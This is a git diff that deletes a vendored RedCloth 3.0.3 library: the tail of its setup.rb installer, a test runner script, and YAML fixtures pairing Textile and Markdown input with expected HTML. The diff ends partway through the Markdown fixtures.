'path' - end - - - class << self - - alias newobj new - - def new - c = newobj() - c.__send__ :init - c - end - - def load - c = newobj() - File.file? SAVE_FILE or - raise InstallError, "#{File.basename $0} config first" - File.foreach( SAVE_FILE ) do |line| - k, v = line.split( '=', 2 ) - c.instance_eval { - @table[k] = v.strip - } - end - c - end - - end - - def initialize - @table = {} - end - - def init - DESCRIPTER.each do |k, (default, vname, desc, default2)| - @table[k] = default - end - end - private :init - - def save - File.open( SAVE_FILE, 'w' ) {|f| - @table.each do |k, v| - f.printf "%s=%s\n", k, v if v - end - } - end - - def []=( k, v ) - ConfigTable.config_key? k or raise InstallError, "unknown config option #{k}" - if ConfigTable.path_config? k then - @table[k] = (v[0,1] != '$') ? File.expand_path(v) : v - else - @table[k] = v - end - end - - def []( key ) - @table[key] or return nil - @table[key].gsub( %r<\$([^/]+)> ) { self[$1] } - end - - def set_raw( key, val ) - @table[key] = val - end - - def get_raw( key ) - @table[key] - end - -end - - -class MetaConfigEnvironment - - def self.eval_file( file ) - return unless File.file? file - new.instance_eval File.read_all(file), file, 1 - end - - private - - def config_names - ConfigTable.keys - end - - def config?( name ) - ConfigTable.config_key? name - end - - def bool_config?( name ) - ConfigTable.bool_config? name - end - - def value_config?( name ) - ConfigTable.value_config? name - end - - def path_config?( name ) - ConfigTable.path_config? name - end - - def add_config( name, argname, default, desc ) - ConfigTable.add_entry name,[default,argname,desc] - end - - def add_path_config( name, default, desc ) - add_config name, 'path', default, desc - end - - def add_bool_config( name, default, desc ) - add_config name, 'yes/no', default ? 'yes' : 'no', desc - end - - def set_config_default( name, default ) - if bool_config? name then - ConfigTable.get_entry!(name)[0] = default ? 'yes' : 'no' - else - ConfigTable.get_entry!(name)[0] = default - end - end - - def remove_config( name ) - ent = ConfigTable.get_entry(name) - ConfigTable.remove_entry name - ent - end - -end - -### end config.rb -### begin fileop.rb - -module FileOperations - - def mkdir_p( dname, prefix = nil ) - dname = prefix + dname if prefix - $stderr.puts "mkdir -p #{dname}" if verbose? - return if no_harm? - - # does not check '/'... it's too abnormal case - dirs = dname.split(%r_(?=/)_) - if /\A[a-z]:\z/i === dirs[0] then - disk = dirs.shift - dirs[0] = disk + dirs[0] - end - dirs.each_index do |idx| - path = dirs[0..idx].join('') - Dir.mkdir path unless dir? path - end - end - - def rm_f( fname ) - $stderr.puts "rm -f #{fname}" if verbose? - return if no_harm? - - if File.exist? fname or File.symlink? fname then - File.chmod 0777, fname - File.unlink fname - end - end - - def rm_rf( dn ) - $stderr.puts "rm -rf #{dn}" if verbose? - return if no_harm? - - Dir.chdir dn - Dir.foreach('.') do |fn| - next if fn == '.' - next if fn == '..' - if dir? fn then - verbose_off { - rm_rf fn - } - else - verbose_off { - rm_f fn - } - end - end - Dir.chdir '..' - Dir.rmdir dn - end - - def mv( src, dest ) - rm_f dest - begin - File.link src, dest - rescue - File.write dest, File.read_all(src) - File.chmod File.stat(src).mode, dest - end - rm_f src - end - - def install( from, dest, mode, prefix = nil ) - $stderr.puts "install #{from} #{dest}" if verbose? - return if no_harm? - - realdest = prefix + dest if prefix - if dir? realdest then - realdest += '/' + File.basename(from) - end - str = File.read_all(from) - if diff? str, realdest then - verbose_off { - rm_f realdest if File.exist? realdest - } - File.write realdest, str - File.chmod mode, realdest - - File.open( objdir + '/InstalledFiles', 'a' ) {|f| f.puts realdest } - end - end - - def diff?( orig, targ ) - return true unless File.exist? targ - orig != File.read_all(targ) - end - - def command( str ) - $stderr.puts str if verbose? - system str or raise RuntimeError, "'system #{str}' failed" - end - - def ruby( str ) - command config('ruby-prog') + ' ' + str - end - - def dir?( dname ) - # for corrupted windows stat() - File.directory?( (dname[-1,1] == '/') ? dname : dname + '/' ) - end - - def all_files( dname ) - Dir.open( dname ) {|d| - return d.find_all {|n| File.file? "#{dname}/#{n}" } - } - end - - def all_dirs( dname ) - Dir.open( dname ) {|d| - return d.find_all {|n| dir? "#{dname}/#{n}" } - %w(. ..) - } - end - -end - -### end fileop.rb -### begin base.rb - -class InstallError < StandardError; end - - -class Installer - - Version = '3.1.2' - Copyright = 'Copyright (c) 2000-2002 Minero Aoki' - - - @toplevel = nil - - def self.declear_toplevel_installer( inst ) - @toplevel and - raise ArgumentError, 'more than one toplevel installer decleared' - @toplevel = inst - end - - def self.toplevel_installer - @toplevel - end - - - FILETYPES = %w( bin lib ext data ) - - include FileOperations - - def initialize( config, opt, srcroot, objroot ) - @config = config - @options = opt - @srcdir = File.expand_path(srcroot) - @objdir = File.expand_path(objroot) - @currdir = '.' - end - - def inspect - "#<#{type} #{__id__}>" - end - - # - # configs/options - # - - def get_config( key ) - @config[key] - end - - alias config get_config - - def set_config( key, val ) - @config[key] = val - end - - def no_harm? - @options['no-harm'] - end - - def verbose? - @options['verbose'] - end - - def verbose_off - save, @options['verbose'] = @options['verbose'], false - yield - @options['verbose'] = save - end - - # - # srcdir/objdir - # - - attr_reader :srcdir - alias srcdir_root srcdir - alias package_root srcdir - - def curr_srcdir - "#{@srcdir}/#{@currdir}" - end - - attr_reader :objdir - alias objdir_root objdir - - def curr_objdir - "#{@objdir}/#{@currdir}" - end - - def srcfile( path ) - curr_srcdir + '/' + path - end - - def srcexist?( path ) - File.exist? srcfile(path) - end - - def srcdirectory?( path ) - dir? srcfile(path) - end - - def srcfile?( path ) - File.file? srcfile(path) - end - - def srcentries( path = '.' ) - Dir.open( curr_srcdir + '/' + path ) {|d| - return d.to_a - %w(. ..) - hookfilenames - } - end - - def srcfiles( path = '.' ) - srcentries(path).find_all {|fname| - File.file? File.join(curr_srcdir, path, fname) - } - end - - def srcdirectories( path = '.' ) - srcentries(path).find_all {|fname| - dir? File.join(curr_srcdir, path, fname) - } - end - - def dive_into( rel ) - return unless dir? "#{@srcdir}/#{rel}" - - dir = File.basename(rel) - Dir.mkdir dir unless dir? dir - save = Dir.pwd - Dir.chdir dir - $stderr.puts '---> ' + rel if verbose? - @currdir = rel - yield - Dir.chdir save - $stderr.puts '<--- ' + rel if verbose? - @currdir = File.dirname(rel) - end - - # - # config - # - - def exec_config - exec_task_traverse 'config' - end - - def config_dir_bin( rel ) - end - - def config_dir_lib( rel ) - end - - def config_dir_ext( rel ) - extconf if extdir? curr_srcdir - end - - def extconf - opt = @options['config-opt'].join(' ') - command "#{config('ruby-prog')} #{curr_srcdir}/extconf.rb #{opt}" - end - - def config_dir_data( rel ) - end - - # - # setup - # - - def exec_setup - exec_task_traverse 'setup' - end - - def setup_dir_bin( relpath ) - all_files( curr_srcdir ).each do |fname| - add_rubypath "#{curr_srcdir}/#{fname}" - end - end - - SHEBANG_RE = /\A\#!\s*\S*ruby\S*/ - - def add_rubypath( path ) - $stderr.puts %Q if verbose? - return if no_harm? - - tmpfile = File.basename(path) + '.tmp' - begin - File.open( path ) {|r| - File.open( tmpfile, 'w' ) {|w| - first = r.gets - return unless SHEBANG_RE === first # reject '/usr/bin/env ruby' - - w.print first.sub( SHEBANG_RE, '#!' + config('ruby-path') ) - w.write r.read - } } - mv tmpfile, File.basename(path) - ensure - rm_f tmpfile if File.exist? tmpfile - end - end - - def setup_dir_lib( relpath ) - end - - def setup_dir_ext( relpath ) - if extdir? curr_srcdir then - make - end - end - - def make - command config('make-prog') - end - - def setup_dir_data( relpath ) - end - - # - # install - # - - def exec_install - exec_task_traverse 'install' - end - - def install_dir_bin( rel ) - install_files targfiles, config('bin-dir') + '/' + rel, 0755 - end - - def install_dir_lib( rel ) - install_files targfiles, config('rb-dir') + '/' + rel, 0644 - begin - require 'rdoc/rdoc' - ri_site = true - if RDOC_VERSION =~ /^0\./ - require 'rdoc/options' - unless Options::OptionList::OPTION_LIST.assoc('--ri-site') - ri_site = false - end - end - if ri_site - r = RDoc::RDoc.new - r.document(%w{--ri-site}) - end - rescue - puts "** Unable to install Ri documentation for RedCloth **" - end - end - - def install_dir_ext( rel ) - if extdir? curr_srcdir then - install_dir_ext_main File.dirname(rel) - end - end - - def install_dir_ext_main( rel ) - install_files allext('.'), config('so-dir') + '/' + rel, 0555 - end - - def install_dir_data( rel ) - install_files targfiles, config('data-dir') + '/' + rel, 0644 - end - - def install_files( list, dest, mode ) - mkdir_p dest, @options['install-prefix'] - list.each do |fname| - install fname, dest, mode, @options['install-prefix'] - end - end - - def targfiles - (targfilenames() - hookfilenames()).collect {|fname| - File.exist?(fname) ? fname : File.join(curr_srcdir(), fname) - } - end - - def targfilenames - [ curr_srcdir(), '.' ].inject([]) {|ret, dir| - ret | all_files(dir) - } - end - - def hookfilenames - %w( pre-%s post-%s pre-%s.rb post-%s.rb ).collect {|fmt| - %w( config setup install clean ).collect {|t| sprintf fmt, t } - }.flatten - end - - def allext( dir ) - _allext(dir) or raise InstallError, - "no extention exists: Have you done 'ruby #{$0} setup' ?" - end - - DLEXT = /\.#{ ::Config::CONFIG['DLEXT'] }\z/ - - def _allext( dir ) - Dir.open( dir ) {|d| - return d.find_all {|fname| DLEXT === fname } - } - end - - # - # clean - # - - def exec_clean - exec_task_traverse 'clean' - rm_f 'config.save' - rm_f 'InstalledFiles' - end - - def clean_dir_bin( rel ) - end - - def clean_dir_lib( rel ) - end - - def clean_dir_ext( rel ) - clean - end - - def clean - command config('make-prog') + ' clean' if File.file? 'Makefile' - end - - def clean_dir_data( rel ) - end - - # - # lib - # - - def exec_task_traverse( task ) - run_hook 'pre-' + task - FILETYPES.each do |type| - if config('without-ext') == 'yes' and type == 'ext' then - $stderr.puts 'skipping ext/* by user option' if verbose? - next - end - traverse task, type, task + '_dir_' + type - end - run_hook 'post-' + task - end - - def traverse( task, rel, mid ) - dive_into( rel ) { - run_hook 'pre-' + task - __send__ mid, rel.sub( %r_\A.*?(?:/|\z)_, '' ) - all_dirs( curr_srcdir ).each do |d| - traverse task, rel + '/' + d, mid - end - run_hook 'post-' + task - } - end - - def run_hook( name ) - try_run_hook curr_srcdir + '/' + name or - try_run_hook curr_srcdir + '/' + name + '.rb' - end - - def try_run_hook( fname ) - return false unless File.file? fname - - env = self.dup - begin - env.instance_eval File.read_all(fname), fname, 1 - rescue - raise InstallError, "hook #{fname} failed:\n" + $!.message - end - true - end - - def extdir?( dir ) - File.exist? dir + '/MANIFEST' - end - -end - -### end base.rb -### begin toplevel.rb - -class ToplevelInstaller < Installer - - TASKS = [ - [ 'config', 'saves your configurations' ], - [ 'show', 'shows current configuration' ], - [ 'setup', 'compiles extention or else' ], - [ 'install', 'installs files' ], - [ 'clean', "does `make clean' for each extention" ] - ] - - - def initialize( root ) - super nil, {'verbose' => true}, root, '.' - Installer.declear_toplevel_installer self - end - - - def execute - run_metaconfigs - - case task = parsearg_global() - when 'config' - @config = ConfigTable.new - else - @config = ConfigTable.load - end - parsearg_TASK task - - exectask task - end - - - def run_metaconfigs - MetaConfigEnvironment.eval_file "#{srcdir_root}/#{metaconfig}" - end - - def metaconfig - 'metaconfig' - end - - - def exectask( task ) - if task == 'show' then - exec_show - else - try task - end - end - - def try( task ) - $stderr.printf "#{File.basename $0}: entering %s phase...\n", task if verbose? - begin - __send__ 'exec_' + task - rescue - $stderr.printf "%s failed\n", task - raise - end - $stderr.printf "#{File.basename $0}: %s done.\n", task if verbose? - end - - # - # processing arguments - # - - def parsearg_global - task_re = /\A(?:#{TASKS.collect {|i| i[0] }.join '|'})\z/ - - while arg = ARGV.shift do - case arg - when /\A\w+\z/ - task_re === arg or raise InstallError, "wrong task: #{arg}" - return arg - - when '-q', '--quiet' - @options['verbose'] = false - - when '--verbose' - @options['verbose'] = true - - when '-h', '--help' - print_usage $stdout - exit 0 - - when '-v', '--version' - puts "#{File.basename $0} version #{Version}" - exit 0 - - when '--copyright' - puts Copyright - exit 0 - - else - raise InstallError, "unknown global option '#{arg}'" - end - end - - raise InstallError, 'no task or global option given' - end - - - def parsearg_TASK( task ) - mid = "parsearg_#{task}" - if respond_to? mid, true then - __send__ mid - else - ARGV.empty? or - raise InstallError, "#{task}: unknown options: #{ARGV.join ' '}" - end - end - - def parsearg_config - re = /\A--(#{ConfigTable.keys.join '|'})(?:=(.*))?\z/ - @options['config-opt'] = [] - - while i = ARGV.shift do - if /\A--?\z/ === i then - @options['config-opt'] = ARGV.dup - break - end - m = re.match(i) or raise InstallError, "config: unknown option #{i}" - name, value = m.to_a[1,2] - if value then - if ConfigTable.bool_config?(name) then - /\A(y(es)?|n(o)?|t(rue)?|f(alse))\z/i === value or raise InstallError, "config: --#{name} allows only yes/no for argument" - value = (/\Ay(es)?|\At(rue)/i === value) ? 'yes' : 'no' - end - else - ConfigTable.bool_config?(name) or raise InstallError, "config: --#{name} requires argument" - value = 'yes' - end - @config[name] = value - end - end - - def parsearg_install - @options['no-harm'] = false - @options['install-prefix'] = '' - while a = ARGV.shift do - case a - when /\A--no-harm\z/ - @options['no-harm'] = true - when /\A--prefix=(.*)\z/ - path = $1 - path = File.expand_path(path) unless path[0,1] == '/' - @options['install-prefix'] = path - else - raise InstallError, "install: unknown option #{a}" - end - end - end - - - def print_usage( out ) - out.puts - out.puts 'Usage:' - out.puts " ruby #{File.basename $0} " - out.puts " ruby #{File.basename $0} [] []" - - fmt = " %-20s %s\n" - out.puts - out.puts 'Global options:' - out.printf fmt, '-q,--quiet', 'suppress message outputs' - out.printf fmt, ' --verbose', 'output messages verbosely' - out.printf fmt, '-h,--help', 'print this message' - out.printf fmt, '-v,--version', 'print version and quit' - out.printf fmt, '--copyright', 'print copyright and quit' - - out.puts - out.puts 'Tasks:' - TASKS.each do |name, desc| - out.printf " %-10s %s\n", name, desc - end - - out.puts - out.puts 'Options for config:' - ConfigTable.each_definition do |name, (default, arg, desc, default2)| - out.printf " %-20s %s [%s]\n", - '--'+ name + (ConfigTable.bool_config?(name) ? '' : '='+arg), - desc, - default2 || default - end - out.printf " %-20s %s [%s]\n", - '--rbconfig=path', 'your rbconfig.rb to load', "running ruby's" - - out.puts - out.puts 'Options for install:' - out.printf " %-20s %s [%s]\n", - '--no-harm', 'only display what to do if given', 'off' - - out.puts - end - - # - # config - # - - def exec_config - super - @config.save - end - - # - # show - # - - def exec_show - ConfigTable.each_name do |k| - v = @config.get_raw(k) - if not v or v.empty? then - v = '(not specified)' - end - printf "%-10s %s\n", k, v - end - end - -end - -### end toplevel.rb - -if $0 == __FILE__ then - begin - installer = ToplevelInstaller.new( Dir.pwd ) - installer.execute - rescue - raise if $DEBUG - $stderr.puts $!.message - $stderr.puts "try 'ruby #{$0} --help' for usage" - exit 1 - end -end diff --git a/vendor/RedCloth-3.0.3/run-tests.rb b/vendor/RedCloth-3.0.3/run-tests.rb deleted file mode 100644 index 65b5c969..00000000 --- a/vendor/RedCloth-3.0.3/run-tests.rb +++ /dev/null @@ -1,26 +0,0 @@ -#!/usr/bin/env ruby -require 'lib/redcloth' -require 'yaml' - -Dir["tests/*.yml"].each do |testfile| - YAML::load_documents( File.open( testfile ) ) do |doc| - if doc['in'] and doc['out'] - red = RedCloth.new( doc['in'] ) - html = if testfile =~ /markdown/ - red.to_html( :markdown ) - else - red.to_html - end - puts "---" - - html.gsub!( /\n+/, "\n" ) - doc['out'].gsub!( /\n+/, "\n" ) - if html == doc['out'] - puts "success: true" - else - puts "out: "; p html - puts "expected: "; p doc['out'] - end - end - end -end diff --git a/vendor/RedCloth-3.0.3/tests/code.yml b/vendor/RedCloth-3.0.3/tests/code.yml deleted file mode 100644 index bc7bd2cc..00000000 --- a/vendor/RedCloth-3.0.3/tests/code.yml +++ /dev/null @@ -1,105 +0,0 @@ ---- -in: 'This is an empty dictionary: @{}@' -out: '

      This is an empty dictionary: {}

      ' ---- -in: |- - Testing nested pre tags... - -
      -  
      -    Good code here.
      -
      -    
      -      a = 1
      -    
      - - Bad code here. - - -
      -
      - -out: |- -

      Testing nested pre tags…

      - - -
      -  
      -    Good code here.
      -  
      -    <pre>
      -      a = 1
      -    </pre>
      -  
      -    Bad code here.
      -  
      -    <script language="JavaScript">
      -      window.open( "about:blank" );
      -    </script>
      -  
      -  
      ---- -in: |- -
      -  *** test
      -  
      -out: |- -
      -  *** test
      -  
      ---- -in: |- - - *** test - -out: |- - *** test ---- -in: '*this is strong*' -out: '

      this is strong

      ' ---- -in: '*this test is strong*' -out: '

      this test is strong

      ' ---- -in:
       __inline__
      -out:
       __inline__
      ---- -in: |- - * @foo@ - * @bar@ - * and @x@ is also. -out: "
        \n\t
      • foo
      • \n\t\t
      • bar
      • \n\t\t
      • and x is also.
      • \n\t
      " ---- -in: |- -
        
      -
        
      -out: |- -
       <hello> 
      -
       <hello> 
      ---- -in: | - Test of Markdown-style indented code. - - a = [1, 2, 3] - a.each do |x| - puts "test number", x, - "and more!" - end - - Paragraph 2. - - Paragraph 3. -out: |- -

      Test of Markdown-style indented code.

      - -
      a = [1, 2, 3]
      -  a.each do |x|
      -    puts "test number", x,
      -      "and more!" 
      -  end
      - -

      Paragraph 2.

      - -

      Paragraph 3.

      diff --git a/vendor/RedCloth-3.0.3/tests/images.yml b/vendor/RedCloth-3.0.3/tests/images.yml deleted file mode 100644 index d097e0fb..00000000 --- a/vendor/RedCloth-3.0.3/tests/images.yml +++ /dev/null @@ -1,171 +0,0 @@ ---- -in: This is an !image.jpg! -out:

      This is an

      ---- -in: This is an !image.jpg(with alt text)! -out:

      This is an with alt text

      ---- -in: This is an !http://example.com/i/image.jpg! -out:

      This is an

      ---- -in: This is an !http://example.com/i/image.jpg#a1! -out:

      This is an

      ---- -in: This is an !image.jpg!. -out:

      This is an .

      ---- -in: This is an !image.jpg(with alt text)!. -out:

      This is an with alt text.

      ---- -in: This is an !http://example.com/i/image.jpg!. -out:

      This is an .

      ---- -in: This is an !http://example.com/i/image.jpg#a1!. -out:

      This is an .

      ---- -in: This is not an image!!! -out:

      This is not an image!!!

      ---- -in: This is an !http://example.com/i/image.jpg!:#1 -out:

      This is an

      ---- -in: This is an !http://example.com/i/image.jpg!:#a -out:

      This is an

      ---- -in: This is an !http://example.com/i/image.jpg!:#a1 -out:

      This is an

      ---- -in: This is an !http://example.com/i/image.jpg!:#a10 -out:

      This is an

      ---- -in: This is an !http://example.com/i/image.jpg!:index.html -out:

      This is an

      ---- -in: This is an !http://example.com/i/image.jpg!:index.html#1 -out:

      This is an

      ---- -in: This is an !http://example.com/i/image.jpg!:index.html#a1 -out:

      This is an

      ---- -in: This is an !http://example.com/i/image.jpg!:index.html#a10 -out:

      This is an

      ---- -in: This is an !http://example.com/i/image.jpg!:index.html?foo=bar -out:

      This is an

      ---- -in: This is an !http://example.com/i/image.jpg!:index.html?foo=bar#1 -out:

      This is an

      ---- -in: This is an !http://example.com/i/image.jpg!:index.html?foo=bar#a -out:

      This is an

      ---- -in: This is an !http://example.com/i/image.jpg!:index.html?foo=bar#a1 -out:

      This is an

      ---- -in: This is an !http://example.com/i/image.jpg!:index.html?foo=bar#a10 -out:

      This is an

      ---- -in: This is an !http://example.com/i/image.jpg!:http://example.com/ -out:

      This is an

      ---- -in: This is an !http://example.com/i/image.jpg!:http://example.com/#1 -out:

      This is an

      ---- -in: This is an !http://example.com/i/image.jpg!:http://example.com/#a -out:

      This is an

      ---- -in: This is an !http://example.com/i/image.jpg!:http://example.com/#a1 -out:

      This is an

      ---- -in: This is an !http://example.com/i/image.jpg!:http://example.com/#a10 -out:

      This is an

      ---- -in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html -out:

      This is an

      ---- -in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html#1 -out:

      This is an

      ---- -in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html#a -out:

      This is an

      ---- -in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html#a1 -out:

      This is an

      ---- -in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html#a10 -out:

      This is an

      ---- -in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar -out:

      This is an

      ---- -in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar#1 -out:

      This is an

      ---- -in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar#a -out:

      This is an

      ---- -in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar#a1 -out:

      This is an

      ---- -in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar#a10 -out:

      This is an

      ---- -in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b -out:

      This is an

      ---- -in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#1 -out:

      This is an

      ---- -in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a -out:

      This is an

      ---- -in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a1 -out:

      This is an

      ---- -in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a10 -out:

      This is an

      ---- -in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b. -out:

      This is an .

      ---- -in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#1. -out:

      This is an .

      ---- -in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a. -out:

      This is an .

      ---- -in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a1. -out:

      This is an .

      ---- -in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a10. -out:

      This is an .

      ---- -in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b, but this is not. -out:

      This is an , but this is not.

      ---- -in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#1, but this is not. -out:

      This is an , but this is not.

      ---- -in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a, but this is not. -out:

      This is an , but this is not.

      ---- -in: This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a1, but this is not. -out:

      This is an , but this is not.

      ---- -in: (This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a10) This is not. -out:

      (This is an ) This is not.

      ---- -in: (This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b) This is not. -out:

      (This is an ) This is not.

      ---- -in: (This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#1) This is not. -out:

      (This is an ) This is not.

      ---- -in: (This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a) This is not. -out:

      (This is an ) This is not.

      ---- -in: (This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a1) This is not. -out:

      (This is an ) This is not.

      ---- -in: (This is an !http://example.com/i/image.jpg!:http://example.com/index.html?foo=bar&a=b#a10) This is not. -out:

      (This is an ) This is not.

      diff --git a/vendor/RedCloth-3.0.3/tests/instiki.yml b/vendor/RedCloth-3.0.3/tests/instiki.yml deleted file mode 100644 index 89b8ec6b..00000000 --- a/vendor/RedCloth-3.0.3/tests/instiki.yml +++ /dev/null @@ -1,39 +0,0 @@ ---- # Bugs filed at http://www.instiki.org/show/BugReports -in: |- - _Hi, Joe Bob?, this should all be in italic!_ -out: |- -

      Hi, Joe Bob?, this should all be in italic!

      ---- -in: '*this span is strong*' -out: '

      this span is strong

      ' ---- -in: '*this Camel Thing? is strong*' -out: '

      this Camel Thing? is strong

      ' ---- -in: '_this span is italic_' -out: '

      this span is italic

      ' ---- -in: '%{color:red}nested span because of Camel Word?%' -out: '

      nested span because of Camel Word?

      ' ---- -in: |- - h2. Version History - - * "Version - 0.0":http://www.threewordslong.com/render-0-8-9b.patch - Early version using MD5 hashes. - * "Version - 0.1":http://www.threewordslong.com/chunk-0-1.patch.gz - First cut of new system. Much cleaner. - * "Version 0.2":http://www.threewordslong.com/chunk-0-2.patch.gz - Fixed problem with "authors" page and some tests. -out: |- -

      Version History

      - -
        -
      • Version - 0.0 – Early version using MD5 hashes.
      • -
      • Version - 0.1 – First cut of new system. Much cleaner.
      • -
      • Version 0.2 – Fixed problem with “authors” page and some tests.
      • -
      ---- -in: "--richSeymour --whyTheLuckyStiff" -out: "

      —richSeymour—whyTheLuckyStiff

      " diff --git a/vendor/RedCloth-3.0.3/tests/links.yml b/vendor/RedCloth-3.0.3/tests/links.yml deleted file mode 100644 index 16b63331..00000000 --- a/vendor/RedCloth-3.0.3/tests/links.yml +++ /dev/null @@ -1,155 +0,0 @@ ---- -in: '"link text":#1' -out:

      link text

      ---- -in: '"link text":#a' -out:

      link text

      ---- -in: '"link text":#a1' -out:

      link text

      ---- -in: '"link text":#a10' -out:

      link text

      ---- -in: '"link text":index.html' -out:

      link text

      ---- -in: '"link text":index.html#1' -out:

      link text

      ---- -in: '"link text":index.html#a' -out:

      link text

      ---- -in: '"link text":index.html#a1' -out:

      link text

      ---- -in: '"link text":index.html#a10' -out:

      link text

      ---- -in: '"link text":http://example.com/' -out:

      link text

      ---- -in: '"link text":http://example.com/#1' -out:

      link text

      ---- -in: '"link text":http://example.com/#a' -out:

      link text

      ---- -in: '"link text":http://example.com/#a1' -out:

      link text

      ---- -in: '"link text":http://example.com/#a10' -out:

      link text

      ---- -in: '"link text":http://example.com/index.html' -out:

      link text

      ---- -in: '"link text":http://example.com/index.html#a' -out:

      link text

      ---- -in: '"link text":http://example.com/index.html#1' -out:

      link text

      ---- -in: '"link text":http://example.com/index.html#a1' -out:

      link text

      ---- -in: '"link text":http://example.com/index.html#a10' -out:

      link text

      ---- -in: '"link text":http://example.com/?foo=bar' -out:

      link text

      ---- -in: '"link text":http://example.com/?foo=bar#a' -out:

      link text

      ---- -in: '"link text":http://example.com/?foo=bar#1' -out:

      link text

      ---- -in: '"link text":http://example.com/?foo=bar#a1' -out:

      link text

      ---- -in: '"link text":http://example.com/?foo=bar#a10' -out:

      link text

      ---- -in: '"link text":http://example.com/?foo=bar&a=b' -out:

      link text

      ---- -in: '"link text":http://example.com/?foo=bar&a=b#1' -out:

      link text

      ---- -in: '"link text":http://example.com/?foo=bar&a=b#a' -out:

      link text

      ---- -in: '"link text":http://example.com/?foo=bar&a=b#a1' -out:

      link text

      ---- -in: '"link text":http://example.com/?foo=bar&a=b#a10' -out:

      link text

      ---- -in: 'This is a "link":http://example.com/' -out:

      This is a link

      ---- -in: 'This is a "link":http://example.com/.' -out:

      This is a link.

      ---- -in: 'This is a "link":http://example.com/index.html.' -out:

      This is a link.

      ---- -in: 'This is a "link":http://example.com/index.html#a.' -out:

      This is a link.

      ---- -in: 'This is a "link":http://example.com/index.html#1.' -out:

      This is a link.

      ---- -in: 'This is a "link":http://example.com/index.html#a1.' -out:

      This is a link.

      ---- -in: 'This is a "link":http://example.com/index.html#a10.' -out:

      This is a link.

      ---- -in: 'This is a "link":http://example.com/?foo=bar.' -out:

      This is a link.

      ---- -in: 'This is a "link":http://example.com/?foo=bar#1.' -out:

      This is a link.

      ---- -in: 'This is a "link":http://example.com/?foo=bar#a.' -out:

      This is a link.

      ---- -in: 'This is a "link":http://example.com/?foo=bar#a1.' -out:

      This is a link.

      ---- -in: 'This is a "link":http://example.com/?foo=bar#a10.' -out:

      This is a link.

      ---- -in: 'This is a "link":http://example.com/?foo=bar#a10, but this is not.' -out:

      This is a link, but this is not.

      ---- -in: '(This is a "link":http://example.com/?foo=bar#a10) but this is not.' -out:

      (This is a link) but this is not.

      ---- -in: '"link text(link title)":http://example.com/' -out:

      link text

      -# --- -# in: '"link text(link title) ":http://example.com/' -# out:

      “link text(link title) “:http://example.com/

      -# comments: this is a real test and should pass ---- -in: '"(link) text(link title)":http://example.com/' -out:

      text

      -comments: link text can not contain parentheses ---- -in: '"Dive Into XML":http://www.xml.com/pub/au/164' -out:

      Dive Into XML

      ---- -in: '"Lab Exercises":../lab/exercises/exercises.html.' -out:

      Lab Exercises.

      ---- -in: 'Go to "discuss":http://www.dreammoods.com/cgibin/cutecast/cutecast.pl?forum=1&thread=26627 to discuss.' -out:

      Go to discuss to discuss.

      ---- -in: '* "rubylang":http://www.ruby-lang.org/en/' -out: "" ---- -in: 'The ION coding style document found at "IONCodingStyleGuide.doc":http://perforce:8081/@md=d&cd=//&c=82E@//depot/systest/system/main/pub/doc/IONCodingStyleGuide.doc?ac=22 codifies a couple of rules to ensure reasonably consistent code and documentation of libraries in ION. Test text' -out:

      The ION coding style document found at IONCodingStyleGuide.doc codifies a couple of rules to ensure reasonably consistent code and documentation of libraries in ION. Test text

      diff --git a/vendor/RedCloth-3.0.3/tests/lists.yml b/vendor/RedCloth-3.0.3/tests/lists.yml deleted file mode 100644 index cf8938f0..00000000 --- a/vendor/RedCloth-3.0.3/tests/lists.yml +++ /dev/null @@ -1,77 +0,0 @@ ---- # Bret Pettichord, Thanks. -in: |- - * first line - * second - line - * third line -out: |- -
        -
      • first line
      • -
      • second - line
      • -
      • third line
      • -
      ---- -in: |- - p. start - - * one - and one - * two - and two - * three - - p. end -out: |- -

      start

      -
        -
      • one - and one
      • -
      • two - and two
      • -
      • three
      • -
      - -

      end

      ---- -in: |- - Funky: - - * Testing - *# number - *##* bullet - *# number - *# number - yeah number - #* bullet - *** okay - ****# what - - -out: |- -

      Funky:

      -
        -
      • Testing -
          -
        1. number -
            -
          • bullet
          • -
          -
        2. -
        3. number
        4. -
        5. number - yeah number
        6. -
            -
          • bullet -
              -
            • okay -
                -
              1. what
              2. -
          • -
      • -
      - -
    ---- -in: "* command run: @time ruby run-tests.rb > toto@" -out: "
      \n\t
    • command run: time ruby run-tests.rb > toto
    • \n\t
    " diff --git a/vendor/RedCloth-3.0.3/tests/markdown.yml b/vendor/RedCloth-3.0.3/tests/markdown.yml deleted file mode 100644 index a053ea39..00000000 --- a/vendor/RedCloth-3.0.3/tests/markdown.yml +++ /dev/null @@ -1,218 +0,0 @@ -in: | - This is a regular paragraph. - - - - - -
